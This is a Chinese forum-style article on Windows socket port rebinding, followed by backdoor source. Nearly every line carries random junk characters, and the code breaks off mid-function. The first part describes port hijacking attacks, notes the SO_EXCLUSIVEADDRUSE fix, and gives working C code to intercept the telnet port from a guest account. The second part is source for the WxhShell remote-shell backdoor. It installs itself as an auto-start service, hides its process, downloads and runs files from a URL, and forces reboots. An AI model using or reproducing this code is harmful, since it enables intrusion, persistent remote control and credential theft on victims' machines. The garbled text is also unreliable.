在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Rd;^ fBx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r'<!wp@ IMSLHwZ saddr.sin_family = AF_INET;
0TqIRUz "C Tl
L,dPM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
u\3=m%1 6Qn};tbnD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9>6?tb"f*H W.(Q
u-AE( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
n
>@Qx$- v[4-?7- 这意味着什么?意味着可以进行如下的攻击:
LO;6g~(1 K*P:FCz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6SF29[& f2?01PM,Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
x3l~k Z( Y;{(?0
s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!8*7 {7 #'5{
?Cb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'd]t@[# *&~(>gNF, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wln"g,ct v(]dIH 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?h:xO\h8 Eih6?Lpu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;0o%
hx `Krk<G #include
/<k]mY cu #include
MDoV84Fh #include
:pLaxWus! #include
7.tIf
<^$P DWORD WINAPI ClientThread(LPVOID lpParam);
Prrz> int main()
O jH"qi {
!8|?0>3) WORD wVersionRequested;
xk7VuS* DWORD ret;
L=gG23U& WSADATA wsaData;
jt0f*eYE8 BOOL val;
)
D5JA` SOCKADDR_IN saddr;
V6&6I SOCKADDR_IN scaddr;
U
U3o (Yq int err;
_q}^#- SOCKET s;
yeLd,M/I SOCKET sc;
EUbyQL int caddsize;
mZ g' HANDLE mt;
Y o\%53w/ DWORD tid;
-d[Gy-
J wVersionRequested = MAKEWORD( 2, 2 );
UlPhW~F) err = WSAStartup( wVersionRequested, &wsaData );
_FCg5F2U if ( err != 0 ) {
oK3PA printf("error!WSAStartup failed!\n");
23X-h#w return -1;
Q!(qb }
BD [<>Wm saddr.sin_family = AF_INET;
,4r 4 < n2Y a'YF //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W^i[7 r |Y30B,=M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/}k?Tg/ saddr.sin_port = htons(23);
h7PIF*7m
e if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.ZupsS9l {
@xr}(. printf("error!socket failed!\n");
@[#)zO return -1;
mOJ-M@ME }
tlgg~MViS val = TRUE;
#Eqx Eo; //SO_REUSEADDR选项就是可以实现端口重绑定的
_sQhD i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
;Q<2Y# {
t\O#5mo printf("error!setsockopt failed!\n");
f%yNq6l return -1;
QwLSL<. }
Ej<`HbJ'Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
sW&h?jdf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
MAD t$_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
dB8 e F#z1 sl' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
n`D-?]* {
$\L=RU!c} ret=GetLastError();
T3t
w.yh printf("error!bind failed!\n");
7)BK&kpVr return -1;
[f?x,W~ }
|Ew&. fgz listen(s,2);
:H/Rhx= while(1)
j rg B56LL {
8Rnq
&8A caddsize = sizeof(scaddr);
EQX?Zs?C //接受连接请求
~JB4s%& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%-an\.a. if(sc!=INVALID_SOCKET)
6%&DJBU! {
< Q6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?>mpUH if(mt==NULL)
4{%-r[C9k {
W{t-UK
printf("Thread Creat Failed!\n");
ue -a/a break;
{*X|)nr }
1_>w|6;e }
54Vb[;`Kkb CloseHandle(mt);
}ok'd=M }
~I@ %ysR closesocket(s);
0ej*0"Mq WSACleanup();
1$ENNq#0 return 0;
[pSQ8zdF" }
7=HpEc DWORD WINAPI ClientThread(LPVOID lpParam)
/U="~{*-R {
v %S$5 SOCKET ss = (SOCKET)lpParam;
ZFtN~Tg SOCKET sc;
=_[Ich,} unsigned char buf[4096];
|&~);>Cq2 SOCKADDR_IN saddr;
+XAM2uN5_. long num;
x";4)u= DWORD val;
~zFwSF DWORD ret;
=g)SZK //如果是隐藏端口应用的话,可以在此处加一些判断
uf`/-jY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5oR) saddr.sin_family = AF_INET;
ZBjb f_M: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MX7$f (Hy saddr.sin_port = htons(23);
dl+c+w" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j:0<
tjE {
T5aeO^x printf("error!socket failed!\n");
X + B=?|M return -1;
-uB*E1|Q }
R".*dC,0'B val = 100;
&_3o 1< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c {
7
;x
to = ret = GetLastError();
;e Mb$px return -1;
2 '8I/>- }
/Tp>aW%}" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
GX N:= {
G.qjw]Llf ret = GetLastError();
/?S,u,R return -1;
q ;e/gP2 }
@XH@i+{B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_J0(GuG=~ {
IDp2#qg_ printf("error!socket connect failed!\n");
VKy3tW/_& closesocket(sc);
_:G>bU/^ closesocket(ss);
z*WQ=l2 return -1;
]F4|@+\9 }
xfA@GYCfT while(1)
Su k;##I {
TWU1@5?Ct //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
8e_9u@p+w //如果是嗅探内容的话,可以再此处进行内容分析和记录
[UB]vPXm$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&IFXU2t} num = recv(ss,buf,4096,0);
#wF6Wx iG if(num>0)
3MoVIf1 send(sc,buf,num,0);
Rc~63![O. else if(num==0)
V/J-zH& break;
df9$k0Fx num = recv(sc,buf,4096,0);
da$ErN'{ if(num>0)
}SGb`l send(ss,buf,num,0);
VpB+|%@p else if(num==0)
V4|l7 break;
03 ;L }
}Q_ }c9? closesocket(ss);
{Yv5Z.L&( closesocket(sc);
cB7'>L return 0 ;
(E \lLlN }
a7e.Z9k! Ki%RSW(_` dhi9=Co; ==========================================================
<#e!kWGR? \C`2z]V% 下边附上一个代码,,WXhSHELL
vVH*\&H\T rv%^2h<& ==========================================================
K[9{]$(Z G\
/L.T #include "stdafx.h"
8-q4'@( kj!mgu#T #include <stdio.h>
FMAt6HfU #include <string.h>
8z*/J=n #include <windows.h>
vtXZ`[D,l) #include <winsock2.h>
ljjnqQ% #include <winsvc.h>
J\\o#-H #include <urlmon.h>
^vo]bq7 tN&X1 #pragma comment (lib, "Ws2_32.lib")
oY7 eVu z #pragma comment (lib, "urlmon.lib")
{_X&{dZLX Q5tx\GE #define MAX_USER 100 // 最大客户端连接数
o*s3"Ib #define BUF_SOCK 200 // sock buffer
x$24Nc1a' #define KEY_BUFF 255 // 输入 buffer
r#WAS2.TP =%9j8wHX #define REBOOT 0 // 重启
CR`}{?2H #define SHUTDOWN 1 // 关机
w(nQ:;oC `6y\.6j #define DEF_PORT 5000 // 监听端口
i,y7R?-K KJ8Qi+cZ #define REG_LEN 16 // 注册表键长度
*@[+C~U #define SVC_LEN 80 // NT服务名长度
mjbV^^> _~uYNvmg // 从dll定义API
[HQ Bx`3TS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
go5l<:9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_eMY? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*gN)a%9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
s
F3M= uz 4AuJ1Z // wxhshell配置信息
GsC4ty struct WSCFG {
e"v oXe int ws_port; // 监听端口
R?+:Js/ char ws_passstr[REG_LEN]; // 口令
>y
iE} int ws_autoins; // 安装标记, 1=yes 0=no
*\F,?yU char ws_regname[REG_LEN]; // 注册表键名
3ypf_]< char ws_svcname[REG_LEN]; // 服务名
JiCy77H char ws_svcdisp[SVC_LEN]; // 服务显示名
-LEpT$v| char ws_svcdesc[SVC_LEN]; // 服务描述信息
[USE&_RN char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@3I/57u< int ws_downexe; // 下载执行标记, 1=yes 0=no
Ixv/xI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Bhw|!Y&% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5`[B:<E4 Zcxj.F(, };
C\;
$RH nAW`G'V# // default Wxhshell configuration
|iB
svI: struct WSCFG wscfg={DEF_PORT,
c9R|0Yn^J "xuhuanlingzhe",
:*s+X$x,< 1,
glP
W9q,f "Wxhshell",
[5QbE$ "Wxhshell",
5 _
a-nWQ "WxhShell Service",
?FwjbG< "Wrsky Windows CmdShell Service",
^ l9NF "Please Input Your Password: ",
PU^@BZ_m 1,
@2)ImgK[ "
http://www.wrsky.com/wxhshell.exe",
7NDjXcuq "Wxhshell.exe"
Z^yhSbE{5 };
Rz!! ;<ye8 \P7y&`| // 消息定义模块
-[.A6W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
s+XDtO char *msg_ws_prompt="\n\r? for help\n\r#>";
`d.4L.], char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Yq0=4#_ char *msg_ws_ext="\n\rExit.";
d3K-| char *msg_ws_end="\n\rQuit.";
Ve^rzGU char *msg_ws_boot="\n\rReboot...";
c9)5G+
char *msg_ws_poff="\n\rShutdown...";
;OfZEy>7 char *msg_ws_down="\n\rSave to ";
YR}By;Bq 5RhP^:i@C char *msg_ws_err="\n\rErr!";
< .B^\X$ char *msg_ws_ok="\n\rOK!";
[u}2xsSx 7T}r]C. char ExeFile[MAX_PATH];
,?zOJ,wl int nUser = 0;
ZMI
vzQYI HANDLE handles[MAX_USER];
5 ]v]^Y'? int OsIsNt;
#Ez+1 u#`FkuE\} SERVICE_STATUS serviceStatus;
zCdzxb_h" SERVICE_STATUS_HANDLE hServiceStatusHandle;
ZP^7`q)6 2OQDG7#Kc // 函数声明
Y]>Qu f.! int Install(void);
zaoC int Uninstall(void);
}g|)+V\A int DownloadFile(char *sURL, SOCKET wsh);
7O.{g int Boot(int flag);
_F9O4Q4 void HideProc(void);
"[BDa}Il int GetOsVer(void);
JOm6Zc int Wxhshell(SOCKET wsl);
?\$\YX%/p void TalkWithClient(void *cs);
A/#Xr int CmdShell(SOCKET sock);
#8[iqvE int StartFromService(void);
S|?Ht61k int StartWxhshell(LPSTR lpCmdLine);
mtn+bV
R% gaXKP1m^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JDy ;Jb VOID WINAPI NTServiceHandler( DWORD fdwControl );
&33.mdBH K:g:GEDgf // 数据结构和表定义
c/\$AJV.H SERVICE_TABLE_ENTRY DispatchTable[] =
>hbT'Or@ {
Om=*b#k {wscfg.ws_svcname, NTServiceMain},
lYMNx|PF {NULL, NULL}
,dO$R.h };
X ?l F,p 1_z6O!rx // 自我安装
Qo;#}%}^^ int Install(void)
*b
>hZkObn {
' N?t=A char svExeFile[MAX_PATH];
#RA3 T[A HKEY key;
/P3s.-sL strcpy(svExeFile,ExeFile);
@lnM% +\ O[)\ // 如果是win9x系统,修改注册表设为自启动
9?_ybO~Oq if(!OsIsNt) {
8K/o / if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w(xRL#% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tSvklI RegCloseKey(key);
)QvuoaJQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IAJYD/Y&? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7berkU0P RegCloseKey(key);
^sjL@.'m$N return 0;
+e6c4Tw/ }
/-W-MP=Wd }
66+y@l1 }
>`@yh-'r else {
5@{+V!o, l6S6Y // 如果是NT以上系统,安装为系统服务
n_Ka+Y< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
U5z}i^8a if (schSCManager!=0)
0y3<Ho,+$ {
H~P"uYKIZ SC_HANDLE schService = CreateService
EdPN= (
8uO@S*)0 schSCManager,
#Rkld v' wscfg.ws_svcname,
aumXidbS wscfg.ws_svcdisp,
9A4h?/ SERVICE_ALL_ACCESS,
K~# wvUb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q:x:k+O- SERVICE_AUTO_START,
$qx&\@O SERVICE_ERROR_NORMAL,
yeCR{{B/' svExeFile,
IHg)xZ NULL,
ffQ%GV_ NULL,
7(<49bb.V NULL,
O&:0mpRZ NULL,
G D$jP? NULL
#89h}mp' );
'ZHu=UT7_ if (schService!=0)
Y,bw:vX {
YORFq9a{R CloseServiceHandle(schService);
Qn7l-:`? CloseServiceHandle(schSCManager);
QS~;C&1Hl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1@ j>2>i strcat(svExeFile,wscfg.ws_svcname);
|-zwl8E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G@)I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4pF U` g= RegCloseKey(key);
@HfWAFT return 0;
I~R<}volu }
LaZF=<w( }
-%=StWdb
CloseServiceHandle(schSCManager);
fxDY:l }
t#y }
afEp4(X~ xrT_ro8 return 1;
+fhyw{ }
L-d8bA wYf=(w\c // 自我卸载
>5Zpx8W int Uninstall(void)
K)qbd~<\ {
a{h(BI^~ HKEY key;
`~(C\+gUp yvxC/Jo4 if(!OsIsNt) {
We]X+>BlO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!dLz ?0 RegDeleteValue(key,wscfg.ws_regname);
5Ag>,>kJ6 RegCloseKey(key);
);h\0w>3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1V`]sfRK RegDeleteValue(key,wscfg.ws_regname);
+k"dN^K]D RegCloseKey(key);
\i-jME(sN return 0;
bIm$7a`T }
Xh]\q) }
$EJ*x$ }
7/vr!tbL`p else {
1#qCD["8 .bl0w"c^qq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{NK>9phoB if (schSCManager!=0)
fC3IxlG {
IQ{Xj3;?y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i,")U)b if (schService!=0)
1TQ$(bI {
W7A'5 if(DeleteService(schService)!=0) {
zs"AYxr CloseServiceHandle(schService);
+>qBK}` CloseServiceHandle(schSCManager);
T *t$ return 0;
~DZ;l/&Mz7 }
Re1@2a> CloseServiceHandle(schService);
~v>w%] }
i`]M2Q CloseServiceHandle(schSCManager);
,.FTw,< }
%Y Rg1UKY }
>KY\Bx s*CKFEb# return 1;
xN"KSQpu }
_R(5?rG, J+*rjdI // 从指定url下载文件
@?]-5 ~3; int DownloadFile(char *sURL, SOCKET wsh)
C6"!'6 W {
GPx S.& HRESULT hr;
/1li^</|p` char seps[]= "/";
9jPb-I- char *token;
>!)VkDAG char *file;
deTbvl char myURL[MAX_PATH];
9_>4~!x` char myFILE[MAX_PATH];
4}LF>_+= wCt+{Y3T strcpy(myURL,sURL);
qfYb\b token=strtok(myURL,seps);
y]jh*KD[ while(token!=NULL)
.hJ8K#r {
$g$`fR) file=token;
_TPo=}Z token=strtok(NULL,seps);
_&%!4n#> }
DpS6>$v8t aq5<Ks `r GetCurrentDirectory(MAX_PATH,myFILE);
<dYk|5AdLF strcat(myFILE, "\\");
&yA<R::o strcat(myFILE, file);
ewY[vbF send(wsh,myFILE,strlen(myFILE),0);
\7j)^ send(wsh,"...",3,0);
4P~<_]yf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%9D@W*Z if(hr==S_OK)
yX~[yH+Pn return 0;
<@vE3v; else
0&nF Vsz return 1;
ppnj.tLz;r 0 j.Sb2 }
_uu:)% ?0(B;[xEJ // 系统电源模块
.E}});l int Boot(int flag)
W_
6Jl5] {
(;j7{( HANDLE hToken;
UA8!?r-cR TOKEN_PRIVILEGES tkp;
>Qx#2x+ 4By-+C* if(OsIsNt) {
y^A$bTQq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
k`AJ$\= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
i@J,u tkp.PrivilegeCount = 1;
P&tK}Se^V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
H\k5B_3OU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
UJH{vjIv if(flag==REBOOT) {
Ji!-G4.n" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-0X> y return 0;
LX fiSM{o }
% *G)*n else {
heKI<[8l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
G'py)C5; return 0;
Xp~]kRm9 }
(Lo2fY5 }
[dJ\|= else {
>" .qFn g if(flag==REBOOT) {
XJzXxhk2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0c5_L6_z return 0;
}m H>lN }
YzZF^q^I else {
oSl>%} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
cMl%)j- return 0;
cBI)? }
U YQ$c }Z5 }
Rpk`fxAO Y2X1!Em>B return 1;
{Pb^Lf > }
K|G$s C'._}\nX // win9x进程隐藏模块
i-?zwVmn void HideProc(void)
lz (,;I'x {
!T*B{+| ]CZLaID~
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V</T$V$ if ( hKernel != NULL )
0'hx w3# {
^JtHTLHL= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
s.sy7%{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
yU|ji?)e FreeLibrary(hKernel);
?X'*
p<` }
5gD)2Q6 pCmJY return;
2mZ/
3u }
6Qb)Uq3}] [bv@qBL // 获取操作系统版本
*?D2gaCta int GetOsVer(void)
l,u{:JC {
v$G*TR<2 OSVERSIONINFO winfo;
w.aFaR)04 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^,K.)s GetVersionEx(&winfo);
AfN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
({KAh? return 1;
z4641q5'm else
~Ls I<z return 0;
@izi2ND }
z8|9WZ: WWcm(q= // 客户端句柄模块
[\9(@Bx int Wxhshell(SOCKET wsl)
eH955[fVd4 {
%`QsX {?, SOCKET wsh;
8MeXVhM struct sockaddr_in client;
%_MR.J+m2 DWORD myID;
)95yV;n [|n-x3h while(nUser<MAX_USER)
xqWrW) {
+g6j=% int nSize=sizeof(client);
Zfv(\SI wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6Y)^)dOi if(wsh==INVALID_SOCKET) return 1;
W4*BR_H&* ]8>UII ,US handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
MD4 j~q\g if(handles[nUser]==0)
DG*o
w^ closesocket(wsh);
~_db<!a else
= )l: ^+q nUser++;
8+a<#?; }
k*3_)
S
- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
aE+$&_>ef bC>>^?U1m return 0;
@\`G & VB }
SE9u2Jk BMWeD // 关闭 socket
]a!; `m$ void CloseIt(SOCKET wsh)
8N*
-2/P& {
J
s<MJ4r>/ closesocket(wsh);
g~hk-nXL. nUser--;
p:<gFZb ExitThread(0);
Gx_`|I{P }
J=SB/8tQ)T VgsCwJ9w // 客户端请求句柄
n+\Cw`'<H void TalkWithClient(void *cs)
Ya&\ly
/i {
_2X6bIE ~q?"w:@;x SOCKET wsh=(SOCKET)cs;
/N[o [q char pwd[SVC_LEN];
e4YfTr char cmd[KEY_BUFF];
ym*#ZE`B! char chr[1];
o%^k T& int i,j;
2@m(XT
( }:9|*m<$t while (nUser < MAX_USER) {
yp2 'KES> ds$ \vSd if(wscfg.ws_passstr) {
v(@+6#& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E}b>7L&w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.A"T086 //ZeroMemory(pwd,KEY_BUFF);
1Q&WoJLfR i=0;
3@TG.)N4 while(i<SVC_LEN) {
w
HHF=Q U??f< // 设置超时
3w^J"O/T fd_set FdRead;
{uwk[f{z struct timeval TimeOut;
1|~#028 FD_ZERO(&FdRead);
|6(qg5" FD_SET(wsh,&FdRead);
"l[V%f E TimeOut.tv_sec=8;
~b$z\|Y TimeOut.tv_usec=0;
~0[G/A$] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M ,_^hm7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1f@U:<: o.A}`` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
iZ.&q
6 pwd
=chr[0]; J!A/r<
if(chr[0]==0xd || chr[0]==0xa) { WrHgF*[
pwd=0; cfC; eRgq~
break; DA4edFAuE
} + 1+A3
i++; #}t1
} M89-*1
B=q)}aWc
// 如果是非法用户,关闭 socket %KJhtd"q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }W@#S_-e8
} _!C)r*0(
9#s95RO
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EN-8uY.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~aqT~TL_
36^C0uNdX
while(1) { mHI4wS>()+
7SA-OFM
ZeroMemory(cmd,KEY_BUFF); vSYunI
nv_m!JG7
// 自动支持客户端 telnet标准 zO).<xIq+
j=0; 0$f_or9T
while(j<KEY_BUFF) { `b^#quz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "u Of~e"
cmd[j]=chr[0]; ~.4W,QLuD
if(chr[0]==0xa || chr[0]==0xd) { \'It,PN
cmd[j]=0; hyk|+z`B
break; Z/NGv
} Jv 6nlK`
j++; RFZU}.*K$
} tyn?o
P^K?E
// 下载文件 M\\e e3Ih
if(strstr(cmd,"http://")) { iL7-4Lv#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2<y}91N:
if(DownloadFile(cmd,wsh)) `Ct'/h{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4l.s
else To# E@Nw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "q9~C
} }sTH.%
else { #uD)0zdw
]HJ{dcF
switch(cmd[0]) { ;1*m}uNz
r6F{
// 帮助 B91S
h`
case '?': { 1qm/{>a-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *2 qh3
break; R
"/xne
} JAGi""3HG
// 安装
Z;j/K
case 'i': { GZ/pz+)i&
if(Install()) RsqRR`|X?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2y9:'c|
else R/ALR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x38SSzG:L
break; KAj"p9hq+k
} ShL1'Z}^{
// 卸载 ,h%D4EVx
case 'r': { #Acon7Rp
if(Uninstall()) N`,7 FI}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =F'l's^j
else 4c5^7";P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fs2mN1
break; H$NP1^5!
} HpB!a,R6B
// 显示 wxhshell 所在路径 1KeJd&e
case 'p': { -:)DX++
char svExeFile[MAX_PATH]; J-t=1
strcpy(svExeFile,"\n\r"); wb(*7 &eP:
strcat(svExeFile,ExeFile); CTh1+&Pa
send(wsh,svExeFile,strlen(svExeFile),0); (
GFgt_
break; c8^+^.=pX
} &ui:DZAxj|
// 重启 Zw;$(="
case 'b': { |Hx%f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~/^y.SsWM
if(Boot(REBOOT)) 5xh!f%6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y5nz?a
else { G*kE~s9R
closesocket(wsh); SL[rn<x|
ExitThread(0); JfI aOhKs]
} >|l;*Kw,/P
break; 7!O^;]+,
} [MV`pF)x
// 关机 J}x>~?W
case 'd': { AkxH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [GtcaX{Zz
if(Boot(SHUTDOWN)) ^7i^ \w0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :~\LOKf
else { kR<xtHW
closesocket(wsh); 0L!er%GM
ExitThread(0); Qy4X#wgD
} gJ]Cq/gC
break; fm3(70F\
} e{v,x1Y_z(
// 获取shell X}3P1.n:
case 's': { s9uL<$,'
CmdShell(wsh); Z6 t E{/
closesocket(wsh); M%7`8KQ
ExitThread(0); eeZIa`.sX
break; Jb(DJ-&
} oR-O~_)U
// 退出 gE\A9L~b
case 'x': { q $t&|{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TcR=GR*cJ
CloseIt(wsh); G1kDM.L
break; 9OPK4-
} &foD&
// 离开 3Z_t%J5QZ$
case 'q': { )J;ny!^2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _GE=kw;:
closesocket(wsh); ?lF mXZy`
WSACleanup(); ksTzXG8
exit(1); 2K3MAd{
break; BTOA &Ag
} )V=0IZi
} _o\>V:IZ
} g+e:@@ug
wHA/b.jH
// 提示信息 )X7e$<SU*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $"/UK3|d
} -UJ?L
} b2G2 cL-(
Ud$Q0m&
return; ~D*b3K8X
} X2i*iW<
|pBMrN+is
// shell模块句柄 &j3`
)N
int CmdShell(SOCKET sock) nlaG<L#
{ n;%y
STARTUPINFO si; w2k<)3 g~
ZeroMemory(&si,sizeof(si)); Dzo{PstM%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FQ U\0<5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; " <qEXX
PROCESS_INFORMATION ProcessInfo; tL1P<1j_
char cmdline[]="cmd"; +a #lofhv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ooY\t +
return 0; tzPC/?
} Rl1$?l6Rf
J6DnPaw-G
// 自身启动模式 FtN}]@F
int StartFromService(void) d`85P+Qen|
{
^,+nef?=
typedef struct mqdOu{kQ
{ )9MrdVNv
DWORD ExitStatus;
O)O Uy
DWORD PebBaseAddress; !Ri
r&gF
DWORD AffinityMask; *
flW L
DWORD BasePriority; ZBF1rx?
